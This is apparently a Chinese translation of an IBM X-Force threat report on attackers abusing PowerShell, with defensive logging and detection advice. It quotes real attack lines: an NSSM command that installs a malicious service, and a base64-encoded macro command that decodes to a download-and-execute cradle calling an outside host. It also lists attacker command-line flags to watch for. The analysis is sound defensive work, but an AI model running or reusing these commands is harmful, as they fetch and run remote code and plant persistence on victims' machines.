导语:IBM X-Force事件响应和情报服务(IRIS)发现恶意PowerShell的使用明显呈上升趋势,文中着重强调了威胁行为者在使用PowerShell方面的独特之处,例如作为服务安装的PowerShell脚本。
PowerShell是一个Microsoft框架,它既是脚本语言又是命令行执行程序,可用于简化网络管理和自动执行任务,例如将更新推送到多个设备。PowerShell于2006年推出,自Windows 7以来一直是Windows操作系统(OS)的标准功能组件。PowerShell 6.0于2016年在麻省理工学院(MIT)开源许可下发布,旨在鼓励跨平台采用。
PowerShell是一种多功能工具,可以从内存中执行代码并直接输入设备的核心。其中包括对Windows应用程序编程接口(API)的无限制访问,对Windows Management Instrumentation(WMI)的完全访问以及对.NET Framework的访问。
尽管好处多多,但PowerShell也可被威胁行为者使用。IBM X-Force事件响应和情报服务(IRIS)确认恶意PowerShell的使用明显呈上升趋势,很可能是由于该工具的开源特性,并且恶意行为者已经意识到可以使用该工具将恶意软件直接注入内存,用来增强混淆和逃避防病毒检测软件。我们的分析结果提供了新的见解,并强调了威胁行为者在使用PowerShell方面的独特之处,例如作为服务安装的PowerShell脚本。
一、PowerShell攻击不断增长
多名安全分析人员都发现,自2016年PowerShell 6.0开源之后,恶意PowerShell的使用量显著增加。McAfee Labs研究报告发现,2016年至2017年期间PowerShell恶意软件增加了432%;Symantec发现2017年中期至2018年中期PowerShell活动被阻止的计算机数量增加了661%。
IBM X-Force的数据同样表明PowerShell攻击在过去12个月中一直在增长。此外,来自托管安全服务(MSS)的数据显示,2018年4月、8月和9月恶意PowerShell的使用量明显增加(图1)。
图1:使用混淆和可疑downloaded 的PowerShell攻击,2018年3月至9月
虽然我们的数据显示混淆攻击在2018年5月和6月有所下降,但在2018年7月底再次出现。9月中旬,我们看到数据中开始出现了新的攻击类型:可疑的PowerShell downloader,表明远程攻击者尝试使用PowerShell下载恶意内容并自动触发有效载荷,从而允许恶意代码运行并感染目标系统。
二、更强大的Shell
PowerShell框架对攻击者的吸引力很明显,因为直接从内存执行意味着可以进行无文件攻击,因此比其他类型的攻击更隐蔽。PowerShell还提供远程访问功能,可以绕过应用程序白名单。此外,威胁行为者可以使用PowerShell编码选项来增强对恶意代码的混淆,从而使其非法操作更加隐蔽。
然而,正如关闭整个GPS卫星网络会对合法用户产生非常大的负面影响一样,禁用PowerShell并不能解决恶意网络行为者的潜在攻击。相反,安全从业者可以从中更好的了解攻击者如何使用PowerShell,由此熟悉可用于检测和根除恶意活动的工具。
为此,让我们来看看X-Force IRIS观察到的恶意PowerShell使用的一些趋势,并探索一些帮助防御者检测和缓解PowerShell攻击的技巧。
趋势1:PowerShell脚本作为服务安装
在最近观察到的有组织的网络攻击中,我们看到了一种更独特的策略——威胁行为者作为服务来安装PowerShell脚本。Windows服务是在后台运行的程序,不需要与用户频繁交互。因此,恶意行为者可以利用该类型的程序来安装和运行其他程序,同时在操作系统的合法部分的幌子下逃避检测。
大多数情况下,X-Force IRIS观察到,作为服务安装的PowerShell脚本包含base64编码的字符串。该字符串解码为Gzip压缩的PowerShell脚本后启动。在下面的示例中,PowerShell脚本作为服务运行,需要Non-Sucking服务管理器(NSSM)才能运行。该组件最初是作为恶意软件载荷的一部分安装的。安装后,PowerShell脚本会调用NSSM并启动恶意服务。
start-Process -FilePath .\nssm.exe -ArgumentList ‘install MaliciousService “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” “-command “& { . C:\Scripts\Monitor.ps1; Start-Monitoring }”” ‘ -NoNewWindow -Wait
将PowerShell脚本作为服务安装在安全博客和报告中并不常见,表明这是一种新的或者独特的趋势。
趋势2:通过文件宏传播
在利用PowerShell之前,威胁行为者必须首先获得对感兴趣设备的访问权限。X-Force IRIS观察到的一种常见方法是使用包含恶意宏的文档附件的网络钓鱼电子邮件。一旦激活,恶意宏就会启动PowerShell,然后PowerShell会在后台执行命令或脚本,最终获取并安装恶意代码或恶意软件。在另外一些情况中,我们观察到在网络钓鱼攻击中使用互联网查询(IQY)文件附件来启动PowerShell并运行恶意脚本。
根据反网络钓鱼组织的定期报告,网络钓鱼攻击将继续取得高成功率。微妙的社交工程技术,结合精心研究的消息和附件,与来自合法组织的内容密切相关,即使是最安全的接收者也会被此欺骗。不出所料,网络钓鱼电子邮件仍然是许多熟练和不熟练的攻击者的首选感染媒介,他们试图通过此渠道将PowerShell用于恶意目的。
Microsoft Word和Excel宏同样是恶意PowerShell使用的常见选择,因为它们通常被许多组织作为电子邮件附件接收。这些文件类型上的宏激活代码很隐蔽,这为释放规避各种检测机制的脚本提供了一条途径。
X-Force IRIS观察到攻击者使用的文件附件有计费发票、交付通知或简历,诱使受害者打开它们并启用宏,最终感染主机并使攻击者得以在组织中立足。
趋势3:将恶意代码注入内存
威胁行为者经常使用PowerShell将恶意软件直接注入内存,这是IRIS多次观察到的一种常见策略。使用PowerShell作为恶意代码或恶意软件的注入方法可以避开中间步骤并增加恶意软件的隐蔽性和便捷性。
将恶意软件直接注入内存是PowerShell用户绕过防病毒系统的一种方法。由于大多数防病毒软件系统会搜索写入磁盘的坏文件,恶意攻击者通过直接注入计算机随机存取存储器(RAM)来规避扫描。
PowerShell注入的目标进程取决于攻击者的意图和技术。在大多情况下,攻击者使用PowerShell将恶意软件注入活动的合法Windows进程,例如explorer.exe。为了加速此过程,威胁攻击者偶尔会将其PowerShell脚本放入系统上的临时文件夹中。部署后,直接注入内存的恶意软件将具备与写入磁盘的恶意软件类似的功能:键盘记录,数据泄漏和凭据捕获等等。
在某个样本中,恶意软件能够在部署之前检查环境以确保不在沙箱中运行。它还扫描网络配置中的特定目标,寻找诸如销售点机器、医疗保健相关单词和金融网站访问等字符串,不一而足。
趋势4:Base64编码脚本和嵌套混淆
在深入研究下一个趋势之前,请注意使用base64编码的PowerShell本身并不是恶意的;它可以用于合法目的,例如传输二进制文件。但是,编码对攻击者特别有用,因为它允许混淆攻击者选择部署的恶意软件内容,从而规避一些恶意软件检测机制。
首先,base64编码的PowerShell脚本的存在通常是恶意行为者使用该框架的一个标志。合法用户通常不会对其脚本进行编码,但是攻击者通常会使用编码来混淆可执行代码,否则这些代码会被终端检测解决方案标记。
在过去几个月中,X-Force IRIS观察到恶意使用PowerShell时嵌套混淆有所增加。我们已经看到威胁行为者不仅使用Base64编码的脚本和命令,还使用多层混淆,有时包括base64编码中的base64编码(双编码),然后使用Gzip压缩,这增加了另外的要求。其他实例包括使用非标准字母表显示base64编码,以进一步模糊脚本。这些技术使得外部人员的解码更加困难,但为防御者提供了一个标志,以进一步检查他们的意图。
在下面的示例中,我们提供了有关包含Base64混淆的恶意Microsoft Excel文档以及它如何启动PowerShell以进一步实现其恶意目的。
样本: 543D5E22DC9F8E57CA288E6C0EA281F3.xls
这是一个Excel文档,其中包含多个恶意Visual Basic for Applications(VBA)宏,这些宏提供在Base64中编码的指令,分发机制为钓鱼邮件。
该文件被受害者在Microsoft Excel中打开,程序执行恶意宏(某些字符串被故意截断)。
WINWORD.EXE /n “C:\ 543D5E22DC9F8E57CA288E6C0EA281F3.xls “
嵌入式宏执行PowerShell ,来看一下脚本的参数:
隐藏在Excel宏中的Base64编码命令:
PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGU…
-Exec Bypass允许PowerShell以提升的权限运行绕过执行策略。
-NoL(NoLogo)在启动时隐藏PowerShell的版权标题。
-Enc(编码命令) 告诉PowerShell期望以base64编码的参数来执行。
这些指令会导致受害者的计算机通过HTTP连接下载恶意PowerShell脚本,然后按照下面的示例执行该脚本。
解码后的字符串:
[net.webrequest]::defaultwebproxy.credentials = [net.credentialcache]::defaultcredentials; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; IEX (New-Object Net.WebClient).DownloadString(‘https://xxxxxx.xx.com/login-prompt.ps1’)
三、PowerShell用于横向移动、持久化、注入恶意软件
幸运的是,PowerShell并不会在攻击的各个阶段帮助恶意行为者。相反,它主要用于攻击者在初始攻击后采取的操作。威胁行为者仍然需要在攻击的其他阶段使用替代工具,例如外部侦察,开发基础设施,初步感染,以及在环境中建立立足点。
最近发布的“X-Force IRIS Cyberattack Preparation and Execution FrameworksX”详细介绍了大多数攻击者在识别、研究、定位和攻击受害者网络时采取的步骤。
图2:X-Force IRIS网络攻击准备和执行框架
在上述步骤中,X-Force IRIS观察到PowerShell主要用于横向移动、建立立足点、进行侦察并保持攻击持久性。
PowerShell为目标环境中的横向移动提供了许多机会。此外,恶意使用其脚本可以允许攻击者安装后门来建立立足点,并将恶意软件置于计划任务中或以无文件方式直接存储到内存中来维持持久性。X-Force IRIS最近观察到,鱼叉式网络钓鱼电子邮件通常为攻击者提供了初始感染媒介。
传统的保护方法,例如物理安全控制,反网络钓鱼软件解决方案,禁用宏以及使用横幅突出显示来自公司外部的消息,可以帮助减少依赖PowerShell访问联网设备的攻击者的机会。教导员工了解打开文件附件和在未经请求的电子邮件中启用宏的风险可以增加另一层安全性,减少源头感染的可能性。
四、一些有益的建议
随着PowerShell脚本的使用量不断增长,嵌套混淆,以及绕过应用程序白名单的机制,可以采取哪些措施来降低风险?为不断享受PowerShell的便利并降低滥用风险,IRIS建议在网络中记录、跟踪和审核PowerShell的使用,并使用特定的搜索工具来标记恶意行为。
以下是有关记录和跟踪潜在恶意PowerShell活动的一些特定提示:
· 至少确保系统上安装了PowerShell v5,它具有增强的日志记录功能,包括脚本块日志记录功能。支持最新版本可以确保更好的安全性。
· 打开转录日志,进一步启用PowerShell日志捕获完整命令,即使它已被混淆。
· 监视恶意行为者经常用于执行PowerShell控制台的典型命令,例如:
-ExecutionPolicy Bypass及其衍生,如-Exec Bypass和-ep bypass;
-EncodedCommand及衍生,如-enc;
-NonInteractive,-NoLogo和-NoProfile及其衍生如-NonI,-NoL,-nol和-NoP;
-WindowStyle隐藏及其衍生,如-w hidden,-window hidden和-win hidden。
· 监控以下事件:
事件ID 4688 – 已创建新进程。特别是,在记录时,目标是捕获4688事件中的命令行参数。这有助于查找作为参数传递的PowerShell命令。
事件ID 7045 – 系统上安装了一项服务。
事件ID 4697 – 系统“Windows事件日志视图”上安装了一项服务。
· 使用YARA规则来帮助检测恶意PowerShell使用。
专业软件和预防措施可以提供额外的保护层,并记录PowerShell使用和识别潜在恶意脚本所涉及的一些手动过程。包括:
· 教导用户启用宏并让攻击者广泛使用它们;
· 采用具有增强的恶意PowerShell检测功能的安全信息和事件管理(SIEM)系统;
· 使用端点检测和响应(EDR)解决方案,这些解决方案可根据行业部门和业务需要保护的设备提供;
· 跟上新出现的威胁和从中收集到的IoC。
最后,在攻击者已经对系统造成破坏或造成信息被盗的情况下,取证专家可以协助检测恶意PowerShell脚本并从组织的基础架构中消除它们。要恢复安全级别,检测并消除使用PowerShell框架注入的任何恶意软件或恶意进程非常重要。通过提高员工意识和校正安全控制检测恶意PowerShell活动,组织可以得到更好的保护。